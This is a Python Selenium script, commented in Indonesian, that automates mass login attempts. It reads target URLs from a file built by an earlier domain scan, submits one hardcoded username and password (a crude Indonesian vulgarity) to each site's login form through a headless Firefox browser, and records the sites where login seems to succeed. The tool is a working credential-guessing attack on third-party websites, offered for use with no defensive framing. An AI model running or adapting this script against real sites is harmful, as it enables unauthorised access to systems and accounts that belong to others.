import time from selenium import webdriver from selenium.webdriver.firefox.options import Options from selenium.webdriver.common.by import By def auto_login(): # Konfigurasi Firefox (gunakan headless=False jika ingin melihat prosesnya secara visual) options = Options() options.add_argument("--headless") print("Memulai browser Firefox untuk proses login...") driver = webdriver.Firefox(options=options) input_file = "target.txt" output_good = "sukses.txt" # Ganti dengan kredensial atau parameter login yang sesuai TARGET_USERNAME = "kontol" TARGET_PASSWORD = "kontol" try: # Membaca daftar URL dari target.txt with open(input_file, "r") as f: urls = [line.strip() for line in f if line.strip()] successful_logins = [] print(f"Total URL yang akan diuji login: {len(urls)}\n") for url in urls: print(f"Mencoba login ke: {url} ...", end=" ") try: driver.get(url) time.sleep(2) # Tunggu halaman termuat sempurna # --- BAGIAN INI DISESUAIKAN DENGAN STRUKTUR HTML TARGET --- # Contoh asumsi form login menggunakan input name 'username' dan 'password' # Serta tombol submit dengan nama/id tertentu atau tombol type submit try: # Mengisi form (sesuaikan by.ID atau by.NAME dengan halaman aslinya) user_input = driver.find_element(By.NAME, "user") pass_input = driver.find_element(By.NAME, "pass") user_input.clear() user_input.send_keys(TARGET_USERNAME) pass_input.clear() pass_input.send_keys(TARGET_PASSWORD) # Klik tombol login (bisa berdasarkan ID, NAME, atau XPath tombol submit) # Contoh mencari tombol submit secara umum: submit_btn = driver.find_element(By.XPATH, "//button[@type='submit'] | //input[@type='submit']") submit_btn.click() time.sleep(3) # Tunggu proses login dan redirect selesai # Validasi apakah login berhasil (misalnya URL berubah atau muncul elemen dashboard tertentu) current_url = driver.current_url # Indikator sukses: misal URL berubah dan tidak lagi mengandung 'id=login' atau mengarah ke dashboard if "login" not in current_url.lower(): successful_logins.append(url + "\n") print("-> BERHASIL LOGIN!") else: print("-> Gagal (Masih di halaman login / Kredensial salah)") except Exception as form_err: print(f"-> Gagal menemukan elemen form login ({str(form_err)})") except Exception as e: print(f"-> Error saat akses URL (Error: {str(e)})") # Menyimpan URL yang berhasil login ke sukses.txt with open(output_good, "w") as f: f.writelines(successful_logins) print(f"\nSelesai! Sesi login selesai.") print(f"- URL yang berhasil disimpan ke '{output_good}' ({len(successful_logins)} situs)") except FileNotFoundError: print(f"Error: File '{input_file}' tidak ditemukan. Jalankan pemindaian domain sebelumnya.") finally: # Menutup browser driver.quit() if __name__ == "__main__": auto_login()